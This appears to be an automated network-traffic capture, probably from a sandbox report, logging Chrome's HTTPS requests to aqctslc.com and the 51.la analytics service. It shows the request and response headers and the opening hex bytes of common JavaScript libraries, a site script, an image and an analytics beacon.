2025-01-09 23:51:39 UTC	2393	IN	Data Raw: 39 34 64 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 24 2e 61 6a 61 78 43 68 69 6d 70 3d 7b 72 65 73 70 6f 6e 73 65 73 3a 7b 22 57 65 20 68 61 76 65 20 73 65 6e 74 20 79 6f 75 20 61 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 65 6d 61 69 6c 22 3a 30 2c 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 75 65 22 3a 31 2c 22 41 6e 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 61 20 73 69 6e 67 6c 65 20 40 22 3a 32 2c 22 54 68 65 20 64 6f 6d 61 69 6e 20 70 6f 72 74 69 6f 6e 20 6f 66 20 74 68 65 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 69 73 20 69 6e 76 61 6c 69 64 20 28 74 68 65 20 70 6f 72 74 69 6f 6e 20 61 66 74 65 72 20 74 68 65 20 40 3a 20 29 22 3a 33 2c 22 54 68 65 20 Data Ascii: 94d(function($){"use strict";$.ajaxChimp={responses:{"We have sent you a confirmation email":0,"Please enter a value":1,"An email address must contain a single @":2,"The domain portion of the email address is invalid (the portion after the @: )":3,"The

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49808	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	367	OUT	GET /themes/static/js/odometer.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:39 UTC	10277	IN	Data Raw: 32 38 31 38 0d 0a 2f 2a 21 20 6f 64 6f 6d 65 74 65 72 20 30 2e 34 2e 38 20 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 2c 76 2c 77 2c 78 2c 79 2c 7a 2c 41 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 3d 5b 5d 2e 73 6c 69 63 65 3b 71 3d 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 64 6f 6d 65 74 65 72 2d 76 61 6c 75 65 22 3e 3c 2f 73 70 61 6e 3e 27 2c 6e 3d 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 64 6f 6d 65 74 65 72 2d 72 69 62 62 6f 6e 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6f 64 6f 6d 65 74 65 72 2d 72 69 62 62 6f 6e 2d 69 6e 6e 65 72 22 3e 27 2b 71 2b 22 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 22 2c 64 3d 27 3c Data Ascii: 2818/! odometer 0.4.8 /(function(){var a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G=[].slice;q='<span class="odometer-value"></span>',n='<span class="odometer-ribbon"><span class="odometer-ribbon-inner">'+q+"</span></span>",d='<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49809	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	367	OUT	GET /themes/static/js/meanmenu.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:39 UTC	4049	IN	Data Raw: 66 63 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 24 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 24 2e 66 6e 2e 6d 65 61 6e 6d 65 6e 75 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 7b 6d 65 61 6e 4d 65 6e 75 54 61 72 67 65 74 3a 6a 51 75 65 72 79 28 74 68 69 73 29 2c 6d 65 61 6e 4d 65 6e 75 43 6f 6e 74 61 69 6e 65 72 3a 22 2e 79 61 6e 67 6f 2d 72 65 73 70 6f 6e 73 69 76 65 2d 6d 65 6e 75 22 2c 6d 65 61 6e 4d 65 6e 75 43 6c 6f 73 65 3a 22 58 22 2c 6d 65 61 6e 4d 65 6e 75 43 6c 6f 73 65 53 69 7a 65 3a 22 31 38 70 78 22 2c 6d 65 61 6e 4d 65 6e 75 4f 70 65 6e 3a 22 3c 73 70 61 6e 20 2f 3e 3c 73 70 61 6e 20 2f 3e 3c 73 70 61 6e 20 2f 3e 22 2c 6d 65 61 6e 52 65 76 65 61 6c 50 6f 73 69 74 69 6f 6e 3a 22 72 69 67 68 74 22 2c 6d 65 61 6e 52 65 76 65 61 6c Data Ascii: fc5!function($){"use strict";$.fn.meanmenu=function(e){var n={meanMenuTarget:jQuery(this),meanMenuContainer:".yango-responsive-menu",meanMenuClose:"X",meanMenuCloseSize:"18px",meanMenuOpen:"<span /><span /><span />",meanRevealPosition:"right",meanReveal

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49810	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	373	OUT	GET /themes/static/js/form-validator.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:39 UTC	6076	IN	Data Raw: 31 37 61 66 0d 0a 2f 2a 21 0d 0a 20 2a 20 56 61 6c 69 64 61 74 6f 72 20 76 30 2e 38 2e 31 20 66 6f 72 20 42 6f 6f 74 73 74 72 61 70 20 34 2c 20 62 79 20 40 31 30 30 30 68 7a 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 35 20 43 69 6e 61 20 53 61 66 66 61 72 79 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 20 2a 0d 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 31 30 30 30 68 7a 2f 62 6f 6f 74 73 74 72 61 70 2d 76 61 6c 69 64 61 74 6f 72 0d 0a 20 2a 2f 0d 0a 0d 0a 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 72 65 74 75 72 6e 20 74 Data Ascii: 17af/! Validator v0.8.1 for Bootstrap 4, by @1000hz * Copyright 2015 Cina Saffary * Licensed under http://opensource.org/licenses/MIT * * https://github.com/1000hz/bootstrap-validator */+function(a){"use strict";function b(b){return t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49811	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	734	OUT	GET /themes/static/js/wow.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:39 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:39 UTC	8170	IN	Data Raw: 31 66 64 64 0d 0a 2f 2a 21 20 57 4f 57 20 77 6f 77 2e 6a 73 20 2d 20 76 31 2e 33 2e 30 20 2d 20 32 30 31 36 2d 31 30 2d 30 34 0d 0a 2a 20 68 74 74 70 73 3a 2f 2f 77 6f 77 6a 73 2e 75 6b 0d 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 36 20 54 68 6f 6d 61 73 20 47 72 61 69 6e 67 65 72 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 22 6d 6f 64 75 6c 65 22 2c 22 65 78 70 6f 72 74 73 22 5d 2c 62 29 3b 65 6c 73 65 20 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 29 62 28 6d 6f 64 75 6c 65 2c 65 78 70 6f 72 74 Data Ascii: 1fdd/! WOW wow.js - v1.3.0 - 2016-10-04 https://wowjs.uk* Copyright (c) 2016 Thomas Grainger; Licensed MIT */!function(a,b){if("function"==typeof define&&define.amd)define(["module","exports"],b);else if("undefined"!=typeof exports)b(module,export

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49814	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	734	OUT	GET /themes/static/image/bg1.jpg HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:39 UTC	183	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Transfer-Encoding: chunked Connection: close Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:39 UTC	16201	IN	Data Raw: 66 66 63 30 0d 0a ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 46 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a Data Ascii: ffc0ExifII*DuckyF/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:
2025-01-09 23:51:39 UTC	16384	IN	Data Raw: ae 85 1a 22 81 40 00 61 df 31 55 2c 0b 5a 67 75 b2 c0 dc 74 01 1d 00 cd ad 18 4a 5f 20 15 ab 4f 75 b5 03 60 62 d6 ce da e5 b0 2d 6a ab eb c5 80 b5 b6 f5 7c 80 95 ae 66 d9 60 2d 68 70 b2 c3 42 4a aa 5e bc 59 15 cd cd db e1 52 8a de df 8d 56 40 42 a6 5e 58 12 27 e5 7d 35 80 2a 9b eb 8a 81 75 c5 54 2e 61 4d 3e 34 59 e2 c2 10 aa f9 d8 04 71 b7 b0 16 1b d7 15 02 ae 55 51 d4 95 4c 27 cd 99 69 75 fb 7b 01 32 f4 58 28 42 5c 32 05 8e 60 3d 10 08 e6 03 d1 05 d3 d4 29 e8 01 f5 60 66 79 20 b0 cf a1 54 c0 0c f2 01 1c c0 7a 22 0b 93 22 7a 80 ec 68 4c f2 0a 43 01 0b 90 0c 72 01 9e 40 00 00 c2 0a 92 90 11 d9 01 87 e4 e4 bb 9a c6 b1 96 db 2a e2 67 90 54 97 c8 2e 24 f4 2a a7 60 1e 80 3b 00 ec 04 0b 80 54 92 88 50 6c 08 04 0a 01 02 a1 40 01 44 02 00 ec 04 ec 00 b0 42 a8 04 Data Ascii: "@a1U,ZgutJ_ Ou`b-j\|f`-hpBJ^YRV@B^X'}5uT.aM>4YqUQL'iu{2X(B\2`=)`fy Tz""zhLCr@gT.$*`;TPl@DB
2025-01-09 23:51:39 UTC	16384	IN	Data Raw: 8a e9 cc 8a dd 68 aa ba f3 08 d0 00 b1 02 b3 6f 22 ae 38 f2 20 89 5b c9 9b bc 72 20 ec 92 58 41 14 04 f5 01 3d 42 eb 36 f2 2a f5 7c 8c b4 c2 ad af 9b b8 5c 82 bb 55 25 85 80 2c 84 50 01 51 d9 57 2d 90 63 7d ef 8a e1 73 0a dd 7c 69 65 e5 f3 0d 4a d8 14 28 15 40 8d a5 a8 56 1f 91 bc 51 4f 52 28 bc 6d e6 ef b0 1d 12 4b 40 8d 20 dc 00 00 02 36 96 ac 2b 0f ca a6 2b 96 15 63 c9 65 97 0b 90 1a 54 aa cf 1e 61 a6 80 00 03 36 be dc 27 2f 82 0d 14 ac 65 fd 99 05 b3 85 d4 82 25 b2 93 c7 56 04 58 a7 56 14 b2 fa d6 7d 4a 2e b7 d7 08 82 55 fd ac d8 05 f1 a4 ce 58 56 ea b6 d4 34 c5 33 36 e2 c0 6b 77 d0 05 b3 64 bb 81 6d a4 73 01 77 15 d7 a0 58 8f 15 ec 14 5f 1a 80 58 a8 05 8a 86 8d 2a 01 fd 60 a2 b5 09 64 2a be 04 13 88 0e 20 17 10 1c 00 72 01 c4 07 00 23 d4 2a 72 02 3c Data Ascii: ho"8 [r XA=B6\|\U%,PQW-c}s\|ieJ(@VQOR(mK@ 6++ceTa6'/e%VXV}J.UXV436kwdmswX_X`d* r#*r<
2025-01-09 23:51:39 UTC	16384	IN	Data Raw: b4 c0 11 e1 fa 95 60 f9 85 1f 34 c0 9a e8 c0 6b 9e 20 4f 4f 60 09 c8 14 00 06 06 40 00 00 00 09 3d 4d 04 f5 01 3d 40 30 32 65 a0 08 cd 00 00 b2 81 51 81 0d 00 19 00 40 65 54 ee 15 00 00 03 26 80 00 ad 44 9e a6 55 0b 00 a8 30 32 00 2a 05 0a 20 00 32 ca d2 00 00 c0 c9 60 8c a2 10 80 69 0a 23 0a 80 0d 2b 2c 08 c0 81 b4 ee 04 2c 07 a1 46 49 d5 43 42 32 0c d8 aa 85 54 ee 00 8a 8c 2a 01 19 b1 02 b2 01 85 64 34 86 86 5e a5 18 b6 a2 34 85 10 2b 06 d5 02 c4 7a 91 50 0c 3d 0d 34 8c 83 2f 43 4d 32 51 96 55 64 aa cb 0a e6 f5 36 ac b2 34 f4 83 96 f2 f6 7c 97 da b1 ab 0a cd 29 2f 7d b5 e0 41 d0 a8 00 03 9d ee db db 5e e4 56 a9 45 55 d7 89 51 a2 68 10 46 d5 54 b0 39 24 fc ae 5f d4 8a ec 94 28 45 40 00 18 bd e3 0b 50 a9 4a 47 ca da b0 3a 04 00 37 1a 81 c5 b7 e4 70 be a4 Data Ascii: `4k OO`@=M=@02eQ@eT&DU02* 2`i#+,,FICB2T*d4^4+zP=4/CM2QUd64\|)/}A^VEUQhFT9$_(E@PJG:7p
2025-01-09 23:51:39 UTC	16384	IN	Data Raw: 05 f6 33 a3 95 ac ee f6 d3 4e 2c d6 ab 75 aa aa 84 06 80 37 19 60 73 cf 92 d0 be 88 2b aa 49 28 50 05 04 4b 59 55 4b 0d 31 4a bb 3d f6 ec 82 ba 04 50 ae 76 b3 b3 d9 5e ec 2b 75 aa aa 84 51 a2 09 6b ed 5c d8 13 c7 5f c9 fd 98 1d 0a ac da ca aa 58 54 a2 76 7b ed d8 a3 a8 19 b5 b6 a9 03 3e 3a bf bb d5 81 d0 2c ac de df 82 d5 95 a6 ea 95 54 20 83 85 96 15 ce 8b 75 9d df 62 ab 0d 0a 37 33 39 61 0d 0a a0 19 9d de 44 b8 20 3a 01 8b 7c ae 97 2c 85 74 0a c6 be 5f 44 07 42 0c 78 f5 b3 ea 50 f2 7d 1e 85 d5 6a ba 22 8c af f9 1f 54 06 ae a6 ac 0b 4c d5 01 94 d2 f2 35 cd 05 5b a9 ab 02 d7 35 4c 0c ac 79 1a e6 6b 43 c8 be 2f a1 31 5a 4e 52 64 19 ae 2e d7 3c 80 f2 7d 67 91 74 69 39 49 8d 19 ae 2f 65 dc a2 df eb 3c 80 d2 72 93 03 35 c5 da c7 30 2f 91 4d 78 60 0a 9c a4 c3 Data Ascii: 3N,u7`s+I(PKYUK1J=Pv^+uQk\_XTv{>:,T ub739aD :\|,t_DBxP}j"TL5[5LykC/1ZNRd.<}gti9I/e<r50/Mx`
2025-01-09 23:51:39 UTC	13350	IN	Data Raw: e6 af b0 41 5f 85 b0 ca aa ea ac b2 1a 72 7b e8 e7 5a 96 32 d2 b5 6d fe 85 a3 36 a4 66 ae 1f 23 2d 0a f9 8b 61 96 2a 5e 8a d9 e3 cc a3 3b ad 5c 5b 4e 61 4b 2a dd 73 2a c6 1e ea 75 a8 0f 8d d0 56 1a b5 34 cd 4d 22 fc 6e 82 c6 3e 54 eb 50 d0 f6 dd 75 0a cc da 98 79 5c cd 08 ea ad 95 a8 54 dc d7 c6 de e1 a6 5d 63 34 f6 03 29 ab e1 ea 04 73 4c 3c d4 a3 2e b3 f2 a0 69 96 d5 f0 f0 c2 99 ae 2d 9a 9a 19 86 b3 5c ae 41 62 7d b3 57 16 e4 1a 65 b4 dc 5b 16 e6 06 1e 31 6c f5 34 a8 e6 bd 6a 15 97 ce b9 5c 51 63 4c 35 39 ae 1f 14 69 a6 21 37 ca c0 65 f5 c3 e6 69 51 e9 9f 74 15 97 a6 72 b9 a0 ac 3f 74 55 65 e9 cd 72 0a cb ce 99 e8 56 92 5a d3 d8 ab 13 72 6e 38 96 28 cd 2b 05 69 97 c4 46 9f 7c 73 1e 68 cd ec aa a5 81 ca 89 dd ee b0 1d 42 00 49 80 39 36 fc 96 85 f5 5a 85 Data Ascii: A_r{Z2m6f#-a^;\[NaKs*uV4M"n>TPuy\T]c4)sL<.i-\Ab}We[1l4j\QcL59i!7eiQtr?tUerVZrn8(+iF\|shBI96Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49821	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	903	OUT	GET /themes/static/js/main.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:39 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:39 UTC	5571	IN	Data Raw: 31 35 62 36 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0d 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 09 2f 2f 20 4d 65 61 6e 20 4d 65 6e 75 0d 0a 09 24 28 27 2e 6d 65 61 6e 2d 6d 65 6e 75 27 29 2e 6d 65 61 6e 6d 65 6e 75 28 7b 0d 0a 09 09 6d 65 61 6e 53 63 72 65 65 6e 57 69 64 74 68 3a 20 22 39 39 31 22 0d 0a 09 7d 29 3b 0d 0a 0d 0a 09 2f 2f 20 48 65 61 64 65 72 20 53 74 69 63 6b 79 0d 0a 09 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 69 66 20 28 24 28 74 68 69 73 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 20 3e 20 31 32 30 29 7b 20 20 0d 0a 09 09 09 24 28 27 2e 6e 61 76 62 61 72 2d 61 72 65 61 27 29 2e 61 64 64 43 6c 61 73 73 28 22 69 73 2d 73 74 69 63 6b 79 22 29 3b 0d 0a Data Ascii: 15b6(function($){"use strict";// Mean Menu$('.mean-menu').meanmenu({meanScreenWidth: "991"});// Header Sticky$(window).on('scroll',function() {if ($(this).scrollTop() > 120){ $('.navbar-area').addClass("is-sticky");

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49824	90.84.164.16	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	573	OUT	POST /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive Content-Length: 337 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://aqctslc.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	337	OUT	Data Raw: 1f 8b 08 00 09 61 80 67 00 03 85 51 bb 4a 03 41 14 fd 95 b0 a5 64 cc ec ec ec 2b ad 85 a0 85 cf 60 bd 3b 3b 51 c9 ba 89 fb 44 44 b0 11 41 14 b6 10 34 22 58 da 99 d8 24 18 24 45 3e 45 b3 09 56 fe 82 7b 27 11 42 08 a4 3b 73 ce 99 fb 38 f7 5c 3a 76 a4 72 41 da dc 59 df 0a 92 83 ca f6 fe c6 ee 9a 7f 16 4b c5 82 e4 87 b9 22 eb 8a 46 35 4d 33 75 ac e2 9c 0c 81 94 86 bd de f8 fe 25 6b bf 8f 1e 5b d9 dd 13 ca da 37 3f fd 66 76 dd 1a 3d 74 e0 6b 2d 59 e0 1a 74 67 6d c5 65 35 9c 60 59 a7 df cf db d9 27 9a f3 7e 5f a6 e3 66 3f ef fa d6 19 74 87 1f 69 8e d2 d7 af e7 2b 28 1e 4c d6 26 c4 e1 0e b7 6c 84 4d 46 91 ca 14 1d d9 b4 6a 20 ae 13 8c 29 35 6d 07 5b 60 67 11 b8 8f c2 b0 11 94 4b 25 eb 94 85 81 cb 56 59 fd a4 04 6a 43 a8 22 32 17 90 4c 0c bc 22 63 42 81 72 2d ef Data Ascii: agQJAd+`;;QDDA4"X$$E>EV{'B;s8\:vrAYK"F5M3u%k[7?fv=tk-Ytgme5`Y'~_f?ti+(L&lMFj )5m[`gK%VYjC"2L"cBr-
2025-01-09 23:51:40 UTC	405	IN	HTTP/1.1 200 Date: Thu, 09 Jan 2025 23:51:40 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: https://aqctslc.com Access-Control-Allow-Credentials: true via: EU-ROU-bucharest-EDGE1-CACHE6[614],EU-ROU-bucharest-EDGE1-CACHE6[ovl,611] X-CCDN-REQ-ID-46B1: 5d73c5cac2ac01d6ee7df7d132a30e8e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49825	148.153.240.68	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:39 UTC	350	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:40 UTC	473	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE2[157],EU-GER-frankfurt-EDGE7-CACHE2[ovl,153],EU-GER-frankfurt-EDGE5-CACHE6[ovl,153],CHN-HElangfang-GLOBAL6-CACHE114[ovl,17] X-CCDN-REQ-ID-46B1: 9c2438c9e7d7232e692fa0ab5348eb5c
